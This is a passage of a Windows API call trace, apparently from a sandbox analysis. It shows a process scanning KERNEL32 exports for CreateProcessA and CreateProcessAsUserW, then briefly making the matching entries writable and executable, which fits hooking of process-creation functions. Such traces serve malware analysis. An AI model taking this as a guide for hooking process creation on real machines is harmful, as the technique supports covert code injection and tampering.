(lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessA") returned -1 [0042.703] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0042.704] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessA") returned -1 [0042.705] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessA") returned 0 [0042.705] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x2) returned 1 [0042.706] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6ef70 [0042.706] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6ef90 [0042.706] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ef70 | out: hHeap=0x9770000) returned 1 [0042.706] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ef90 | out: hHeap=0x9770000) returned 1 [0042.706] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x20) returned 1 [0042.708] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x40) returned 1 [0042.708] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x40) returned 1 [0042.709] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb20, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb20, ReturnLength=0x0) returned 0x0 [0042.710] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0042.710] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6ef70 [0042.710] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessAsUserW") returned -1 [0042.710] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="Beep", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessAsUserW") returned -1 [0042.711] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessAsUserW") returned -1 [0042.712] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0042.713] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessAsUserW") returned -1 [0042.714] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessAsUserW") returned 0 [0042.714] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x2) returned 1 [0042.715] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6efe0 [0042.715] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6f000 [0042.715] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6efe0 | out: hHeap=0x9770000) returned 1 